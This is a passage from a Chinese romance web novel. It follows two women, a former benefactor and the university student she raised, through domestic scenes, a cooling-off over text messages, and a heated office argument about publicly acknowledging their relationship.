她手里还拎着购物袋,怀中香软非常,难以抵挡,不可抗拒,于是稍歪过身子放下口袋,双手圈住女人腰肢,收紧。 “你回来了!”姜悯双手捧起周灵蕴脸,连亲好几下。 “小猫好辛苦呢,炒完我又要去炒菜,甚至连买菜都得自己去。” “哎呀——”周灵蕴被她口中露骨词汇弄得脸红,身体倒是很老实,手掌平展开,抚动在她纤薄后背,试图把她揉进身体的力道。 姜悯“嗯”了一声,调子软绵绵,整个人也被抽去脊梁骨似的,失去力气,烂泥似挂在周灵蕴肩膀,滴滴答答直往下掉。 “你一摸我,我就浑身软,站不住。” “欸,你这样,确实也没办法去买菜。”周灵蕴羞臊不已,谨慎回头看。 小区重重门禁,外人误闯概率极低,但这光天化日的,她有点难为情。 “先关上门吧,我们进家再说。” 姜悯松开缠绕在周灵蕴脖颈的手臂,往后退了两步,倚墙歪着身子站,“还买菜,吃我没吃饱吗?” 周灵蕴弯腰拎购物袋的动作一僵。 她自顾摇头笑,合拢门扇,口袋拎厨房,打开冰箱逐一分类放置。 “说话呀。”姜悯跟过来,靠在门框。 周灵蕴看她一眼,“你像小时候我们学校门口商店卖的黏黏手玩具,‘啪’一下甩过来,就贴紧了。贴桌,贴门,贴墙,反正什么都贴,自己是站不住的,软黏的。” “什么意思?”姜悯危险眯起眼睛,“想表达什么,嫌我烦了,得到了就不珍惜是吧。” 冤枉啊!天大的冤枉! 周灵蕴合拢冰箱门,来不及洗手,赶紧去抱她,“你知道我家穷嘛,小玩具我想玩但没有钱买,只能看着别人玩,好可怜的。” 姜悯知道她说的那玩意儿,“从来没玩过?” 周灵蕴点头,“从未。” “那你现在玩到了。”姜悯傲然翘首,“我可比小学校门口卖的黏黏手高贵得多,那些低端货根本配不上你,知道吗?你的苦日子过去了。” 这人变着法儿夸自己,真不害臊。周灵蕴抿唇憋笑,“嗯嗯”点头,“姐姐说得对。” “那你喜不喜欢我黏?”姜悯转回先前的问题。 “喜欢,很喜欢。”周灵蕴敛目郑重道。她突然想起什么,口袋里掏出张A4纸,展开给姜悯,“楼下打印店,我把那个打印下来了。” 姜悯定睛一看,这不是她昨天下午发的朋友圈截图吗? “我还在网上买了个同尺寸的画框。”周灵蕴走到餐桌边,伸手比比划划,“到时候裱起来挂到墙上去。” 那个老阿姨再来,一眼就能看到。 姜悯癫狂大笑。 真乃神人也。 周灵蕴准备做饭,姜悯不愿离去,“我帮你打下手吧?” 周灵蕴舍不得让姜悯干活,又想让她留在厨房陪着说话,思索几秒,应下。 姜悯也没像周灵蕴想的那么笨,对厨房里的事一窍不通,她只是刀功差了些,土豆丝切得比手指还粗。 周灵蕴站那瞅了会儿,“就这么下锅也行,做香辣炸薯条。” 姜悯连连拍巴掌,“竟然没骂我,情绪好稳定一个妹,是谁这么命好,不会是我吧?啊?啊啊?” 周灵蕴说起来还挺感慨的,“女朋友身份确实不一样了,以前哪会心疼我啊,厨房门好像被布了层结界,进不来的,是只属于我的,是我的第二个卧室。” 姜悯细一琢磨,还真是,“以前对你确实不够体贴。” “不,你对我很好。”周灵蕴摇头。 她想起刚到姜悯家那阵子。姜悯出差,她独自守家,正在房间里看书,突有陌生人径直按开密码进屋,她吓了一跳,以为是强盗,吓得跑厨房拿菜刀。 后来搞清楚,是家政,每周上门做清洁,还顺便炒两个菜放冰箱。 没经过姜悯同意,周灵蕴把阿姨赶走了,姜悯听说,也并未责备,顺从她心意。 姜悯的体贴不在生活琐事,而是洞晓一切后的默然和包容。 不知该如何报答这份“养育之恩”,初来乍到的周灵蕴只能尽自己所能照顾好姜悯的日常起居,并自觉包揽所有家务,尽管有时姜悯并不是那么需要,却从未提出异议。 透过她温柔注视着她的眼睛,周灵蕴似乎可以听到她心声——“如果这样做,可以让你感觉到放松和安宁。” “你的好,是一种能让我获得内心平静的力量的好。” 周灵蕴把洗好的青椒切滚刀条,“我喜欢给你做饭,也喜欢看你吃我做的饭,这是我为数不多能为你做的。当然更重要是你允许我这么做。” “那时候我年纪也不大,虽然在家常帮着奶奶干农活,但我厨艺并不十分精通,一开始做饭很难吃……你别安慰我,我知道,是这几年练出来了,我以前只会做蛋炒饭啊!” 絮絮叨叨,有头没尾,周灵蕴低头讲话,被溅出来的青椒汁水辣得眼发红。 “很多事情,你或许不觉得,但对我来说真的很重要,我说‘恩情’,你肯定不高兴,你觉得小事一桩,但对我来说,都是大事。” “只要是关于你的,都是大事。” 周灵蕴把切好的青椒装进备菜盘,清洗过砧板,看了一圈,又把茄子切长条,打算做一道肉沫茄子。 “我很喜欢和你在一起时的感觉,无论做什么我都很开心。之前说,你活到一百岁,那就我就只活到九十岁,你可能觉得有点扯,但我真是那么想的。” …… 说完,把切好的茄子扔盐水里泡着,周灵蕴抬头展平肩膀,“好奇怪,怎么突然说起这些。” “对啊,怎么突然说起这些呢。”姜悯歪靠在冰箱门,笑意温软。 到底是姐姐,她总在不经意间,流露出的知性大姐姐一面,雨后彩虹般柔丽。 “想到什么就说什么。”周灵蕴回。 顿了几秒,叹口气,“我不知道啊,我就有那么多话要跟你讲,我没刻意去讲。” 她们在一起生活好几年了,还是有那么话要讲,虽都是些没什么营养的废话,但生活中哪有那么多正事呢? 生活就是由无数个琐碎细故拼凑而成。 姜悯想起书里看过的一句话——“世上的人遍地都是,说得着的人千里难寻。” 她跟周灵蕴,污七八糟的能讲,正儿八经的也能讲。 且都那么愿意掰扯,一件事掰开揉碎成渣还能捞起来和点水继续盘。 姜悯很喜欢听周灵蕴说这些。 在周灵蕴口中,爱变成很具体,是能看得见摸得着的东西。 “感觉你真的很喜欢我哦?”姜悯想听她说更多。 周灵蕴侧首,会心一笑。 她做饭的时候很喜欢洗手,切菜备菜期间要洗上十几次,洗到手指都发皱。 “喏——”她展示给姜悯,“你瞧。” 姜悯意会,轻踹她一脚,“满脑子黄色你。” 周灵蕴笑着摇头,“确实啦,我确实很喜欢跟你那个啦。但刚才说那些其实别有一番用意。” 这几天她们好激烈,好激烈。但她不想让姜悯觉得,她只是想跟她做。 “我的意思是,我也没那么色,我不止想跟你做,我还想跟你吃饭,散步,一起喂小猫,很多很多……” 当面说这些,挺让人难为情,周灵蕴耷拉着脑袋,长发遮挡住脸,却暴露了红透的耳廓。 突如其来的一场深刻表白,自然发生,不可能存在丝毫的伪饰,十足动人。 姜悯同样不敢看她,同样的羞赧难当。 半晌,才细细挤出一声。 “俺也一样。”—— 作者有话说:迅疾菇最近表现很不错呢 第78章 患得患失也是难免 小学三年级, 老师开始教大家写作文,周灵蕴记得,当时给出的主题是“季节”。 来光明学校支教的漂亮女老师站在讲台, 低柔的嗓音,永远耐性十足。 ——“小朋友们, 你们最喜欢的季节是什么呀?” 下面一帮小孩叽里呱啦, 答案各不同。 老师温柔引导,问大家为什么喜欢, 随后点名回答。 说喜欢春天的,春天茶树开始冒新芽,可以跟大人一起上山采茶,制好茶叶送集上卖钱。 夏天呢, 桃子和西瓜成熟,能吃又能卖,还能去小溪里捞鱼,带回家裹上面粉炸,嘎嘣脆。 秋天是很多人喜欢的季节, 庄稼成熟, 山里的野货更是不计其数, 欢欣富足。 而冬天一致得到了很多人的不喜欢, 因为冬天太冷了。下雪很美,可若是没有足够的衣裤鞋袜御寒,整个冬季是长达三到四个月的噩梦季。 周灵蕴坐在后排靠墙的位置, 手撑腮,迷迷糊糊想,春夏秋都很好,冬天也没有很坏吧。 她是擅长苦中作乐的小孩。 在一众小学生痛骂冬天如何如何刻薄时, 她想到围坐在火炉旁昏昏欲睡的奶奶,想到蒸锅里飘溢出的腊肉香气,想到灶肚里扒拉出来的烧好的土豆红薯…… 过年期间,镇上赶大集,奶奶要给她添置新衣服,买糖葫芦,路边瓜子摊,走过时趁人多偷偷抓上一大把揣衣兜,带着去看表演,乡村大舞台经典曲目是《不如跳舞》,男演员反串,零下好几度穿高跟鞋跳脱衣舞,表演后空翻…… 总之,一年四季,各有各的好。 不快乐的,吃苦受罪,每想起就禁不住鼻酸眼热,为什么还要去想? 那就多想点好的,高兴的。倒不是在刻意美化苦难,说起来真挺无奈,否则该怎么活呢? 周灵蕴每天早上从床上醒来,看到四周雪白的墙壁,跟做梦一样。 她特别好奇天花板吸顶灯的工作原理。她老家房子就一根花线挂房梁,下面缀个圆圆的钨丝灯泡,碰上打雷下雨,一连好几天不通电,只能点蜡烛和煤油。 电线开关也是外露的,有一年她不小心拉断灯绳,自己踩个板凳上前接,还触电了。 这事周灵蕴后来跟姜悯讲过,尽管已经过去很多年,她也四肢健全好好活着,姜悯仍然表现得非常紧张。 追问半天,缓过劲,姜悯拉着周灵蕴的手问什么感觉,周灵蕴眨眨眼,说浑身酥麻麻,过电的感觉。 笑死,还能有什么感觉,触电就是触电,没那么多优美的形容词。 命运无法预测。 小学三年级的周灵蕴没想过初三的周灵蕴是什么样子,初三的周灵蕴,也没想过大一的自己能跟那年茶厂外面遇见的漂亮女老板谈上恋爱。 姜悯是她的女朋友了? 周灵蕴每天睁开眼,都需要花费个三到五分钟来确认事实。 起床洗漱,挎个帆布包,走路去食堂买一杯豆浆和一个紫薯,吃完上课,教室没有暖气,但她穿得很厚,内搭的白色针织妥帖包裹身体,羽绒服蓬蓬,柔和低调的浅灰。 好多事,只要不刻意去想,基本就等于不存在。 像小学五年级放学路上不慎跌倒,小腿内侧被树枝刺穿后留下的疤。不说谁知道,夏天穿裙子和短裤也未必能瞧见。 计较那么多干嘛。 周灵蕴下课拿出手机给姜悯发消息,问老婆起床没,吃饭没,到公司没,办公室她从学校偷偷挖去栽花盆里的栀子浇水没…… 姜悯的态度却很让周灵蕴琢磨不透。 她们在一起的时候,姜悯对她表现得非常亲昵,像粘鼠板恨不得一天二十四小时贴她身上。 她周一回学校,手机里也还算黏糊,周二周三热度持续下降,到周五感觉快分手,发十句只回两句。 [老婆] [姜大炮] [姜黏黏] [姜老板] …… 周灵蕴刷屏,姜悯翻白眼表情跳出来,周灵蕴没见过似,屏幕上滑,盯几秒,应接她一切反应。 [干嘛不理我。] [故意冷落我。] [在工作。] 一句话打发。 [到底是谁得到了就不珍惜啊?] [我以前怎么没发现你这么爱工作。] 周灵蕴搞不懂,线上线下,姜悯像两个人。 [不赚钱拿什么养你?] 收到这句回复的时候,周灵蕴已经脱下外套躺床上。 强烈的挫败感升起,她不敢再打扰姜悯,抓来平板学习。 对床的女生在学校一家奶茶店兼职,下课回来换件旧棉服,准备去上工,周灵蕴掀开窗帘趴在床边喊她,“要去工作了吗?” 圆脸女生回头,粲然一笑,“嗯呢。” “很辛苦吧。”周灵蕴这些年一直没惦记过打工,一来是姜悯不许,二来胜利茶厂那对夫妻和熊孩子确实给她留下了心理阴影。 女生姓赵,叫赵圆,人如其名,圆圆的像糯米糍,甜软可爱。 “不辛苦呀,就是做奶茶,我很喜欢那个味道,只是闻到热热的茶香奶香就觉得很满足。” 她的嗓音也像奶茶,热热甜甜。 周灵蕴不知道该说什么了,她其实不太擅长社交,她几乎所有的精力都用来对付姜悯。 赵圆倒是很热情开朗,“你想喝吗?我下班帮你做一杯带过来。” “啊?”周灵蕴讶然,“不太好吧。” 女生摇头表示没关系,“她们都喝过啦,就你还没喝过。” 她们指宿舍别的女生。 周灵蕴一时局促。住进来大半个学期,她对室友们好像都不是特别了解,极少去探听别人的事,自己的事也从来不往外说。 晚上大家约着去外面吃饭,她忙着跟姜悯打视频,更一次没参与过。 “你竟然主动跟我搭话。”赵圆圆笑着,说她并非责怪,只是有点意外,“你平时都不怎么说话啊,感觉很内向,是i人吗?” 周灵蕴确实不太喜欢过于喧嚣杂乱的社交场合,但并不排斥与人交往。 她不知该怎么答,抿唇笑了下。 女生不再追问,“那你要喝吗?可以带,你喜欢什么甜度?” 说完,又飞快竖起一指,“你先别说,让我猜一下。” 周灵蕴定定看着她,有些不解。 “少少甜,对吗?”女生满脸机智。 哇,猜对了。 周灵蕴点头,“我确实不喜欢太甜。” 女生原地小跳一下,开心合掌,“我就知道!” 她立即给出解释,“因为你看起来总是淡淡的,人淡如菊?哈哈,而且你平时吃得也不是特别重口,我自己推理出来的。” 绽开笑容,周灵蕴说了声“谢谢”。 女生两指在腮畔勾起弧度,“多笑笑,你笑起来很好看呢。不笑的时候感觉很严肃,笑起来像雪化后一片晴朗明媚的天。” 她取来围巾,脖子上套两圈,下半张脸埋进去,也不拖沓,“走喽,拜拜,晚上见。” “拜拜——”周灵蕴小幅度挥手,目送她走出寝室门,床边又趴了一会儿才躺回去。 她心里有点乱,没有学习的兴致,床上独自发了会儿呆,又忍不住抓起手机。 [老板大人。] [忙完没有呀。] [小猫打滚.jpg] [怎么啦?] 姜悯一小时后回复,说在陪客户。 [没事,只是想你了。] 周灵蕴懂事不再打扰。 手机里的姜悯好像被封印起来了。 周灵蕴仔细回想,过往她们线上交流确实不多,初高中几年,整天忙着学习,根本没空玩手机,放学呢?就直接回家了,想说什么当面说犯不上用手机打字。 现在没法住在一起,见不到她,患得患失也是难免。 反正她们周末总会见面的。 说服自己,周灵蕴安心靠回去。 晚上赵圆下班,果然给她带了杯奶茶。 奶茶杯捧在手里,还是热的,面前的女生微微气喘,周灵蕴顿时紧张,“你是跑回来的吗?” “嗯,我担心奶茶冷掉。”赵圆坦率道。 周灵蕴又心疼又内疚,女生摆摆手,满不在乎,“我答应你的事嘛,我想尽力做好,这是我自己的事,否则我会良心不安。” 周灵蕴瞬间领悟,不再纠结,吸管用力怼进杯封。 她情绪价值也给得相当到位,“好喝,茶香好浓,甜度和热度也合适。” 赵圆脱下棉服,拿上睡衣和洗漱准备进卫生间洗澡,看着可可爱爱慢吞吞,却是个雷厉风行的果决性子,做事从不拖泥带水。 “别喝太多,免得晚上睡不着。”她叮嘱。 “我从小喝茶,耐受力还可以,不会睡不着的。”周灵蕴让她放心。 女生洞察力极强,通过丢在垃圾桶里的空杯判断出周灵蕴是真喜欢喝,下班前,先发消息问她,得到肯定答案后就专门给她做一杯。 周灵蕴下课也会约着她一起吃饭,她们很快熟络起来。 有了社交,日子不再难捱,周末姜悯去外地出差,周灵蕴也不打算回家,跟室友们去逛博物馆。 她们一起出门,一起吃饭,耽误了回学校的时间也不着急,A个家庭房,床上挤着,叽叽喳喳说话。 跟姜悯有两周时间没见面,起先过于热烈的情感,在深冬种种原因遭遇迅疾的冷却,再见面周灵蕴平静了很多。 为弥补,姜悯买了蛋糕和奶茶,周灵蕴坐在餐桌前,却并不是很有胃口。 她最近奶茶喝太多了。 另外,姜悯为什么要排队去那家很难买的蛋糕店呢?她不是一直很介意糖对皮肤的伤害吗?她也不是时间很多有空去排队的人。 背后的原因,周灵蕴不想深究。 “怎么不动?”姜悯放下皮包走过来,揉揉周灵蕴发顶。 熟悉的亲昵感又回来了,可周灵蕴还是觉得哪里怪怪的。 她们的开始,被性冲动主导太多,翻搅着,不管不顾,有浑水摸鱼的嫌疑。 此时激情褪去,理性克制重浮水面,其中夹杂许多前所未有的生疏感—— 作者有话说:又是迅疾菇当值的一天 第79章 爽完提上裤子就走 末考结束, 开始放寒假,周灵蕴收拾了行李箱回家,姜悯依旧不得空。 左右没什么事, 周灵蕴干脆陪她上班。 姜悯坐电脑面前处理工作的时候,周灵蕴躺隔壁小沙发上打游戏。 姜悯在办公室接待客户的时候, 周灵蕴在茶水间旁边的公共休息区窝着打游戏。 她们中午多是吃外卖, 下午三点周灵蕴自己坐地铁回去,超市买菜, 到家烧饭,这样姜悯下班回来洗个手就能吃,不用等。 周灵蕴喜欢跟活生生的姜悯待在一起。她可以清楚看到她的脸,明确体会到她的喜怒哀乐。 相处几天, 周灵蕴也终于明白姜悯为什么在手机里对她那么冷漠了。姜悯工作很忙,每天要面对很多的人,常常面对电脑发出冷笑,然后自言自语…… ——“长脑子了吗?啊?” ——“长了长了,只可惜里面装的大粪。” ——“到底还要我重复多少遍。” ——“这点小事都办不好, 去死吧。” ——“是不是得我住你裤兜里盯着你做?” 初时, 周灵蕴对她情绪的高低起伏反应极为强烈, 提前四五秒察觉到, 放下手机,挺背肃脸定定把她瞧着。 她开始发火骂人,并攥紧拳头使劲地捶打桌面, 周灵蕴会立即走过去,不断抚摸她后背,帮助她平复。 后来习惯了。 周灵蕴坐在副驾位,跟姜悯讲学校里的那些趣事, 前一秒两人车上有说有笑,后一秒车进写字楼地库,姜悯立即垮脸,每天上班心情比给黎双上坟还沉重。 周灵蕴起先如临大敌,每次都迫不及待想安抚好她的情绪,后来发现自己有点忙不过来。 骂董事会,骂下属,骂朋友圈晒旅游照吃漂亮饭替她岁月静好的某某某,当着客户的面笑眯眯,转头就满脸狰狞骂人王八蛋。 她的怒气点太密集了。安抚不过来,周灵蕴根本安抚不过来。 偶尔,姜悯还要翻旧账。 姜悯:“你还说我对你冷漠,换你,你看我我这一堆烂摊子,你能受得了?” 周灵蕴:“受不了。” 姜悯:“以前你上学也忙啊,高中时候,老师能让你玩手机?” 周灵蕴:“那指定不让。” 姜悯:“我都快气死了,还要去照顾你的情绪担心你是不是生气,我容易吗我。” 周灵蕴:“姐太不容易了。” 姜悯:“过来给我捏捏肩。” 周灵蕴:“得嘞。” 被伺候舒服了,姜悯懒洋洋往老板椅一靠。 “好好上学,听我的,以后考研吧,加把劲再读个博士,你就一直上学,一直一直上学,千万别出来上班,真的,家里有一个怨鬼就够了。” “可能,上学其实也没那么轻松呢?”周灵蕴小心翼翼道。 “没事,你延毕到六七十我也养你。”姜悯满不在乎道。 周灵蕴笑,“那真是老学究了。” “是啊,导师都得熬死好几个。”姜悯道。 二人齐声大笑。 姜悯烦躁的时候特别想抽烟,又怕跟周灵蕴接吻被嫌弃嘴臭,更不想让周灵蕴在办公室吸她二手烟,她鼓个脸,窝囊相十足往嘴里塞了根百奇。 舒颖教她那办法其实挺好使,吹泡泡确实解压,但在办公室吹泡泡也太奇怪了。下面人怎么看她? 虽然现在名声也没好到哪里去。 现在全公司上下都在传她跟前夫女儿搞上同性恋了。 荤素不忌?那算什么,姜老板海陆通吃。 “就算我真有前夫,跟前夫的女儿搞同性恋有什么不可以?我们彼此相爱,没有碍着任何人的事。爱情大过一切,你知道什么是爱吗?你有过人的体温吗?有过心跳吗?闻过花香吗?” 姜悯在电话里是这么跟她爸说的,四连问直接把老头问懵。 “你别以为我什么都不知道。”她爸说。 “你知道什么?”姜悯套话。 “你自己知道。”她爸回。 姜悯笑得东倒西歪,“都什么破玩意。” 她借口忙工作,匆匆挂断电话,一抬头,对面周灵蕴坐沙发上,游戏不玩了,两个大眼睛瞪着她。 “是叔叔吗?”周灵蕴猜到了。 姜悯握拳抵唇,“嗯”一声。 “他是不是在问我们?”周灵蕴起身,视线跃过电脑屏幕,不想放过她脸上任何一个表情。 “他问我是不是真有个前夫。”姜悯笑得有点脸僵,伪饰拙劣。 她受不了周灵蕴逼问的眼神,偷偷把签字笔丢到桌下,弯腰去捡。 她们在一起生活那么多年,她这点小把戏周灵蕴怎么会看不出来。 哪有那么容易跑掉,竖条纹地毯上行走无声,周灵蕴来到桌前,“那你打算什么时候跟家里人说我们的事。” 姜悯从桌下爬出,吓了一跳,手里的签字笔在桌面轻磕一下,“我们的事?” 她还装糊涂,那瞬间周灵蕴感到失望。 极其失望。 韧性十足,不会轻易被撂倒,也是多次经历过持之以恒、坚定坚决带来的丰厚报酬。 周灵蕴强压心中不适,“我们不是在一起了吗?我们在谈恋爱……” 即将脱口而出的下半句是“你不算告诉你的家里人吗”。 细致无比,反应也快,担心她被引导又把话题带偏,周灵蕴迅速且自然无比改口。 “你打算什么时候官宣。” 面前的少女身形挺拔修长,双手撑桌,半身微朝她倾斜,压迫感十足。 心跳骤然加快,胸腔跌动不休,姜悯缓而长深吸气调整节奏,“不是早就官宣了。” “那张发在朋友圈的游戏截图?”周灵蕴就知道她会这么说。 “可那只是一张游戏截图,别人只知道你谈恋爱了,但不知道对象是谁。” “我为什么要让朋友圈那些人知道我对象是谁?他们重要吗?”姜悯立即反驳,自认有理有据。 她确实不常发朋友圈,大概因为自己是喜欢在朋友圈指指点点的坏家伙,所以尽量不给“那帮贱人”蛐蛐她的机会。 “朋友圈那些人确实不重要,你认识的人太多太杂,我明白。” 周灵蕴显然是一早就在这儿等她,“所以我的问题是,你打算什么时候向家里人公开我们之间的关系。” 说得够清楚够明白了吧。 家里人,不是外人。 “那你也没发。”姜悯乱甩锅。 被打昏了头,本来意识就差,她现在操作也没了,逮着技能乱放。 “我朋友圈有谷阿姨和穗子姐,我倒是想发你照片,我敢吗?”周灵蕴都不需要走位躲。 “你不认可,你不先说,我敢发吗?到时候你说给你惹麻烦,不知道怎么骂我。” 姜悯技能全空,还闪现撞墙,草丛里一动不动,被自己蠢到了。 她就不该接她的话,工作日,好忙的,随便找个借口不就打发了。 “说话。”周灵蕴逼问不休。 姜悯沉默。 “跟我做的时候,叫得不是挺响的。”周灵蕴冷冷瞅着她,“做完不认账,爽完提上裤子就走。” 刮目相看这个词,姜悯不知道在周灵蕴身上用过多少次,但她还是低估她了。 如此辛辣刺耳的词汇,竟然会从她嘴巴里冒出来,姜悯完全无法把眼前的周灵蕴,跟几年前站家门口冲她勾手指那个小女孩联系起来。 原来这就是女大十八变。 羞臊不已,姜悯牙关紧咬,两指不断叩击桌面,“注意你的言辞,这是在公司,你小声点。” “在公司又怎么样?”周灵蕴微微翘起下巴,姿态傲然,“你之前还说,可以试试在办公室搞。等到所有人走光,关了灯,大落地玻璃面前,城市辉煌灯火尽收眼底。” 姜悯扶额。 她无法反驳,这确实是她说过的话。 她们太熟了,太熟了,本就无话不谈,有过肌肤相亲,更是打通任督二脉一般,骚话连篇。 当时话说完,周灵蕴羞得要死,她倒没啥反应。现在好,上下位奇迹颠倒,周灵蕴面无表情复述,她恨不得钻桌子底下去。 周灵蕴就是想给自己讨个公道。 她现在确定了,姜悯开始那张朋友圈截图就是为敷衍她,暂时稳住她。 她一直以为那是预告,是姜悯在所有人面前宣告她新身份的先导片,说服自己耐着性子等就行了,姜老板自有安排。 结果呢?等了几个月,还是这个鬼样子。 姜悯其实压根就没打算讲。 那她们这几个月来算什么呢? “在公司又如何,全公司的人都知道,我们在谈恋爱,不是吗?” 明眼人都看得出来她们关系非比寻常,说只是资助人与被资助者的关系,谁信?都是老奸巨猾的社会人,谁也别拿谁当傻子。 偏偏有人,装傻到底。 “那都是谣传,什么前夫什么前夫女儿那都是胡扯的!好几年了,你又不是不知道,当时你也在场啊,跟那谁吃饭的时候,乱说的。” 周灵蕴不由嗤出一声冷笑,“你要不要照照镜子看看你现在的样子。” “什么样子?”姜悯看不到自己。 她身体紧绷成一张弓弦,在周灵蕴面前,不知为何,不论是床上还是床下,她总落下风。 真是自己年纪大了吗? “急赤白脸的,难看,好像生怕跟我扯上半毛钱的关系。” 她不让她好过,她也别想好,周灵蕴眼尾扬起微妙的弧度,“每次看到你这幅样子,再回想起你在床上的样子,我都感觉特别割裂。” 惊心骇神。 各方面的,姜悯被周灵蕴吃透了。她现在完全跟不上周灵蕴的成长速度。 小孩姐纯良无害的卡通面具下,竟然隐藏了这样一口尖利的獠牙。 且耐性、持久,叼住就不松口,要她皮开肉绽。 第80章 不要跟我说分手 好比少年天子与摄政王的组合, 小时候的周灵蕴真的蛮好对付的,不需得多费口舌,只皱皱眉头, 一声“啧”响,她就乖乖坐好, 一动也不动了。 两只无辜的大眼睛把人瞅着, 嘴角总牵着份讨好的笑,那么乖, 没瞧见半点不服,甚至还有些谄媚,两手规矩搁在膝头,表示自己有认真遵守规则, 并未犯错,等夸。 才过去多久?不过两三年,周灵蕴的成长速度竟如此惊人,就有这样的本事,像康熙杀死鳌拜一样密谋着要干掉她, 夺回属于自己的政权。 被拍死在沙滩上的姜悯坐椅上一动不动, 似乎石化。 乘胜追击, 周灵蕴轻推了下姜悯肩膀, “你说话啊。” 身体轻晃一下,姜悯深吸气,抬眸, “你想让我说什么。” “你装什么傻?” 周灵蕴有时真受够她,“有意思吗?装傻能解决问题吗?” 姜悯却是打定主意无赖到底,“你想要我说什么,你直接讲, 我尽量满足你。” 她怎么这样?周灵蕴眉间攒起难过,左胸位置同时一阵细微的刺痛,“……不是的,不是我想要什么,你随便说两句敷衍我,姐姐不是这样的。” “那是什么?”姜悯同样皱眉,感觉到自己尖锐刻薄的一面在缓缓浮出,不甘落于下风,要接管身体,掌握主动权。 周灵蕴深深地闭了闭眼。 “在这段关系里面,我真的很没安全感,你还是在用以前那套方法对付我,动不动生气冒火要我妥协。可我现在长大了,我……” “所以我管不了你了,是吧?”周灵蕴话没讲完,被姜悯打断。 “你长大了,我的话对你起不了作用,你翅膀硬了。” 简直胡搅蛮缠。 耐心在一点点被榨干,周灵蕴双手攥拳极力克制自己,“你能认真听我说话,给到我基本的尊重吗?” 她不尊重她吗? 姜悯过去完全没有这样意识。那个糟糕透顶的自己,在周灵蕴面前原来早就暴露无遗。 周灵蕴深吸气平复自己。 她呵出的热气扫拂发顶,她的叹息,让人心痛。 有被刺到,抿紧嘴唇,姜悯把头转向一边。 “我只是想被肯定,我这个人的肯定,以及身份的肯定。否则,别人会一直以为,我们只是资助被资助人的身份。你朋友圈那些人,其实还好,真的还好,因为她们并不知道我是因为跟双双姐长得像才来到你身边的,她们真就以为我们是一段神奇又美好的忘年恋,但你的家人不同。” 姜悯的家人,不也一直把她当作黎双的替身吗?否则凭什么对她那么好,操心她上学,询问她兴趣偏好,帮她看学校看专业。 就像盖房子必须先打地基,花费在她身上的时间,精力和钱,都是以故去的黎双作为基础。 否则就是虚幻的空中阁楼,风一吹就散。 周灵蕴想得很清楚,并非她认知障碍,觉得自己不配,非要钻牛角尖。 是事实。 她早已接受事实,也很庆幸自己拥有这样的特权,但现在身份发生转变,她需要突破境界达到更高一层次。 只有那样,才能彻底从过去那副躯壳中挣脱出来,真正做自己。 周灵蕴认为自己表达得够清楚了。 她需要一个肯定,从被资助人、寄居者,小猫等等身份,到姜悯女朋友的转变。 她的身份,只有姜悯能给,她等了很久还是等不到,只好问人要。一遍又一遍。 可姜悯却不知被周灵蕴话里哪句刺到,她话音落下的瞬间炸起。 “你到底有没有心啊?你摸摸自己良心问问我对你怎么样,你就一直死揪着以前那点事不放是吧,你到底还要揭我多少次伤疤,非要看我痛哭流涕才满意吗?” 起身,姜悯猛一把推开周灵蕴,老板椅朝后滑去,椅背咚地撞击在墙面,回弹。 姜悯双手叉腰,办公室内来回踱步,她盛怒姿态,“一口一个‘双双姐’,你好装,你好让我觉得恶心。你装什么委屈,装什么纯良,装什么完美受害者。” 周灵蕴赶忙朝姜悯走去,她发誓自己的初衷并非惹怒姜悯,却不知哪步走错,哪句说错,让姜悯大发雷霆。 “你冷静一下……” “冷静个屁!”姜悯猛地拂开周灵蕴手,浑身气血上涌,脸颊涨红,甚至发根都立起。 她细细长长的手指头一下一下戳着周灵蕴的额心,“你到底要干什么,你告诉我,你到底要我怎么样?” 话到末尾,几乎是咬牙切齿,字句里能渗出血来。 “你是不是非得气死我才甘心。” 姜悯从来没有这么生气过。 她的愤怒,源自失望。周灵蕴为什么就是不懂,为什么就是不懂,她到底还要重复多少遍? “我真的搞不明白,黎双死了,她已经死了十几年了,若世界真有轮回,她现在可能都上初中了,你为什么还要一遍遍把她翻出来,骨灰刨出来。” 不放过黎双,不放过她,也不放过自己。 照片早就上锁,少女时代惨痛的记忆被时间蒙尘,姜悯一直在努力走出过去,开始自己新的生活,结交新的朋友。 通过周灵蕴,她认识了蛋挞、万玉、梦真,朵朵和梓涵。 哦还有小哑巴。差点漏了。 她甚至有了自己的同龄朋友,舒颖。虽然那家伙绝对不是什么好女人,但她自己也不是啥好玩意。 她们的友谊属于烂锅配烂盖。 总之,姜悯感激周灵蕴带给她的一切新奇体验。 感激温暖的饭菜,细微的照顾,在她身边种种方式的陪伴,不作声看完一整部电影,或是成天到晚骂她游戏打得菜,仍努力带她走向胜利。 甚至性,激烈的性。 她们在一起那么多年,周灵蕴怎么就是看不明白。 “我不想解释了。”姜悯脱力摔靠在沙发。 屡次靠近,试图安抚,却屡次被推离的周灵蕴垂手站立在沙发前,眉宇沉沉,表情复杂而凝重。 她不想再拖延,“为什么不解释,你可以解释给我听,我会懂的。” 如果不是,就明确告诉她。 嘴角勾起一抹讥嘲,姜悯摇头。 “跟你说那么多干嘛,你太年轻了,你不会懂的。你也听不懂人话。” 她们总有办法精准气到对方。 “我长得不像人吗?还是你不会说人话。” 周灵蕴也开始冒火了,“很难讲吗,你是不是中国人,你说的什么话,泰国话,日本话,还是猪狗屁话。” “哈哈哈——”姜悯真是被气笑了。 “你要不要听听自己在说什么呢?你真的很幼稚。” 周灵蕴表示不觉得,“我幼稚你还跟我上床,我真的幼稚吗?没伺候好你啊。” 姜悯闭上了眼睛。 “你现在变得很尖锐,非常。” 周灵蕴哼笑,连带身体也小幅度抽动,“你对我也没多柔和,不都跟你学的,言传身教。” 所以,是她把她教坏喽? 姜悯忽而陷入沉思。 “你心里没鬼你应激什么。”周灵蕴开始走动起来,学她,屋内踱步,手舞足蹈,“这样是在干嘛?” 她一顿乱跳,随后姜悯面前重新站定,“所以你刚是在干嘛。” 眯眼瞅着,姜悯好想骂脏话。 为了赢,她开始不择手段,“可双双从来不会这样跟我说话。” “当然。”周灵蕴早有所料。 “因为我根本就不是她,即便你给我穿上她的衣服,留一样的发型,我也不可能是她,我现在可能都跟她长得不一样了,不然你干嘛带我去影楼呢。” 以上内容,周灵蕴确定自己绝对保有清晰认知,但认知并不能在此刻很好控制情绪。 “你不愿意我频繁提及她,你觉得我在胡搅蛮缠,你口口声声说过去了,那你为什么要带我去影楼拍照片。” 话及此,周灵蕴面上浮现一丝恍惚。 她确实有在很努力跟黎双撇清关系,但那些未得到解答的问题,未被安抚的情绪,会在她每次认为自己已经想通了的时候,跳出来狠狠扇她两个大嘴巴子。 她没法做到不在意。 